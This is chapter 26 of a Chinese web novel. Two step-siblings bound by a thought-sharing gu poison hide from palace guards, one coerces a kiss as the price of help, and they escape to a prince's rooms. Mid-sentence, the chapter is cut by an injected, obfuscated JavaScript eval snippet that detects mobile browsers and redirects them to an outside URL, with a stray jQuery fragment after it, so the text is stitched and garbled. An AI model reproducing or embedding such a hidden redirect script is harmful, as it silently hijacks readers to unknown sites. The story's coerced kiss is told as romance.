26. 第 26 章
作品:《我和庶姐有个秘密》 宁青风试图寻找生路,可层层守卫已经将长春园包围得水泄不通。
连这处山石都出不去。
他们卡在艮岳当中,皇帝耗费多少人力财力打造的园林成了他们的避难所。
曲折缠绕的林木勉强遮住他们的身形。可只要有人打着灯笼靠近,他们二人的一切将无所遁形。
守卫们地毯式搜索越来越近了。
绝望笼罩头顶,宁青风已经想象到被抓入大牢,悲惨死去的场景了。
至于虞青雪,她又不是主犯,只要她将自己供出去,还能将功赎罪,更得阿娘欢心。
宁青风这回却想错了。
虞青雪并没有把她推出去,反而主动向她伸出援手:
【姐姐帮你。】
宁青风一顿。
【这魔鬼有这般好心?】
虞青雪饭果然提出了条件,心声如恶魔低语,殷殷诱惑:
【亲亲姐姐,姐姐帮你。】
果然没她想的那么简单!
宁青风气绝,他们母亲大人就在一石之隔的背后,虞青雪怎么敢的!
【还想亲她?做梦!】
一到黏腻至极的声音跟着贴上来:
【为什么不能亲我,姐姐不美吗?淼淼不心动吗?明明心跳得那样快,为什么不愿意亲亲我?】
明显的疑惑,裹挟汹涌的爱慕一浪一浪冲而来,将宁青风冲得晕头转向。
太诡异了!
这“姐姐”从她醒后,就处处透着不正常。
她明明没有说话,为何虞青雪知道自己在想什么?对了,虞青雪也没张过口。
宁青风终于发现这一盲点。什么时候她和那魔鬼不仅情绪相通,还心声共享了?
虞青雪的额心,不知何时生了一点红,和她额心的红一模一样。
莫非又是那蛊惹的祸?
情况容不得她多想,追兵已包围而来,宁青风大祸临头,虞青雪却还忙中添乱:
【亲亲我,我就帮你……不亲,我就揭穿你!!】
虞青雪将所有狠辣欲望毫无保留展现出来。
宁青风心惊,魔鬼装都不装了,只给了她两个选项,步步紧逼,不是生就是死。
狡诈至此,真愿意放他一条生路?
可万一呢?
万一虞青雪就是大发慈悲呢?毕竟她方才便救了自己一命。
没有任何理由。
信也是死,不信也是死,这是唯一的生路,宁青风拜倒在她的侥幸之下——万一呢?
不过是亲亲而已。
亲亲又不会少块肉,算起来还是她赚了?
宁青风想通了,打算速战速绝,伏下身就要亲那仰头抱着她的美人。
眼猝不及防扫过那晕红的眼尾,妖媚的眸带着的疯狂的爱意,却和她爹爹有三分相像的脸,宁青风终于想起虞青雪是她名义上的“姐姐”。
隐秘的罪恶感由然而生。
伏身的动作乍停。
他们之间只差一线距离。美人潋滟的眸光一闪,脚尖一垫,追着吻了上去。
温软相触,瞬间攻城掠地,舔舐过那魂牵梦绕的余韵,又贪婪索取那一抹鲜红上的甘甜——
【停下!】
宁青风猝不及防被反攻而上,四目相对,她看到了那眼中的欲色,几乎把她吞噬入腹。
宁青风立刻扭开头,灼热的呼吸抚过她的耳根,瞬间连脖带脸透成火烧云,和虞青雪烟色的颊交相辉映。
【我亲了,快救我!】
宁青风急得火烧眉头,虞青雪却意犹未尽:
【这不算,明明是我亲的你。】
【你你你、你太狡猾了!】
宁青风烧得满脸通红,母亲大人离他们只有几步之隔,那盏宫灯似乎察觉这边的动静,已经在朝他们伸来。
宁青风大脑发出尖锐叫嚣,一时什么都不顾了,猛按头就朝对面贴去,直接撞出一声响。
“什么人?”
宫灯以更快的速度望这边飘移。
宁青风吓得汗毛直竖:
【完了啊啊啊啊啊啊!】
连唇边撞破的疼痛都顾不上了,宁青风内心哀嚎着,虞青雪却游刃有余地舔舐过那氲出的血迹,转瞬间,不远处暴发一声惨绝人寰的叫。
“怎么回事?”
折安向前伸的脚步一顿,背后有人大喊:“虫!好多虫!虫吃人了!”
“救命!救命!”那是肃王的惨叫。
折安目光一锐,便要往事故中心赶去,只是转身那一刻,目光复杂地往那片漆黑的园林扫过,随即转头,再无停留奔向远方。
那眼神宁青风却没看到。
她的视线所及被虞青雪鄢红的脸颊遮蔽,唇边被牙磕破的地方被那魔鬼来回允舐,又疼又痒。
可她吸取此前的教训,唇瓣紧抿,不让那魔鬼占分毫便宜。
明明她才是“公子”,为何看起来却是被女郎强占失身的那个?
宁青风愤愤不平,忍到极限,一把推开还在脸上狗啃的魔鬼,又扯过魔鬼的袖,趁着守卫空虚的空档,连滚带爬逃离这是非之地。
*
宁青风直奔向宁家落脚的宫殿。
行到一半,低头看到自己满身血迹,腰后被侍卫捅过的地方还在滴血,只是莫名的没有想象中的疼。
如此回去一定会引起注意,宁青风想。
脚步一转,又向另一个方向逃去。
二皇子赵庸正欲安寝,亲随闻池突然告知宁家公子“到访”,赵庸连忙披衣而出。
迎面撞见两个血淋淋的人闯进来。
“表兄,借屋一躲。”
人绕过他就进了殿里,堂而皇之鸠占鹊巢。
宁青风甩下狗皮膏药虞青雪,紧绷的弦终于松了下来,滑瘫地上大口喘息着。
“怎么受如此重伤?”跟着进来的赵庸心疼道,“传医……”
“别!”宁青风大惊弹起来,“可别打草惊蛇!”
赵庸道:“是我宫中的医士,不会被人发现,淼淼,发生何事?”
宁青风却断然拒绝道:“这件事表兄不知道为好,先借你衣裳一用,再拿些止血药物,换好咱立刻离开!”
听起来惹的事很大,连他这个皇子的大腿都不敢抱。赵庸见势不对,令人守好大门,吩咐侍从送来衣药,便匆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087243|192234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
匆离开。
宁青风又一次推开黏上来的虞青雪,将衣服药物团巴团巴塞进她怀里:“自己去换衣裳,知不知道?”
虞青雪潋滟的目光还在她脸上徘徊,还是不肯走。
宁青风服气:“好好好,你在这里换,我去里头。”
抱起衣裳就走,碰一声关上门,将那如有实质的目光隔绝在外。
那魔鬼今夜可真磨人,一路盯着她瞧,都快拉出丝了。宁青风摸摸滚烫的脸,赶紧回神,朝对面催一句:“没时间了,快换!”
同心蛊让虞青雪和她一起分担了腰后的伤,同样流了血。一路上她拖着魔鬼走,对魔鬼的体力可算摸透了,虞青雪的身子明显比她虚得多弱——果然是个姑娘。
宁青风换下衣裳,处理腰后的伤,疼得她吱哇乱叫,可虞青雪那边没有分毫痛感传来,她不怕疼么?
【疼,淼淼来帮姐姐上药可好?】
魔鬼见缝插针,说得话让人面红耳赤。
疼?
哪里疼?
还有心思撒娇,活该疼死她!
刚升起的怜悯散得一干二净。
宁青风争分夺秒穿好衫,正要推门,想起虞青雪是个姑娘,终究停下手,改问道:“好了没?”
虞青雪一直很安静,没什么心声,只有宁青风开口才有反应。
只听虞青雪含笑的声音幽幽传来:
【姐姐还没穿衣裳~】
宁青风的连红得越发厉害。
【淼淼既然如此迫不及待,不如亲眼来瞧瞧……】
宁青风听这话差点没气晕过去:
【说什么浪荡话!闭嘴!】
该死的同心蛊,什么肮脏话都往她脑袋里钻,躲都躲不开,实在太羞耻了!
为了不让自己生出奇怪的念想,宁青风开始默背四书五经,国子学的先生若是知道了该喜极而泣了吧。
这时,门外暴发一阵骚动,勤奋的宁学子惊得一跳,连忙竖起耳朵往窗边偷听:
“捉拿刺客,闲杂人等速速退避。”
不好,是追兵!宁青风吓得扭头跑向角落,咔哒一声开了暗门,钻进去。
关门时总算想起她还有个同伙,又手忙脚乱爬出来。
推门。
白皙胜雪的背撞入她眼眸。
【啊啊啊啊啊啊啊还没穿好???】
宁青风立刻蒙紧了眼,可大脑迅速记下方才那一幕,单衣半垂下肩,还没来得急套上,露出半个骨质匀称的背,勾勒出极其优美的线条……
宁青风脑子乱成一团。
“二皇子在里面休息,尔等不能随意闯入。”
门外的追兵已经逼近,没时间了。宁青风连忙收拾过二人留下的痕迹,转头拽过虞青雪往里躲。
一手将魔鬼塞进去,又把自己塞进去,关上门。
此处暗门藏着表兄的秘密,意外被宁青风发现。宁青风从前偷着乐,没想到有一日还真能排上用场。
暗门实在过于狭小,重重叠叠放了很多文书,连带着他们换下的衣裳,再塞下两个大活人人实在太过勉强。
二人挤进去脸贴着脸,几乎喘不过气来。

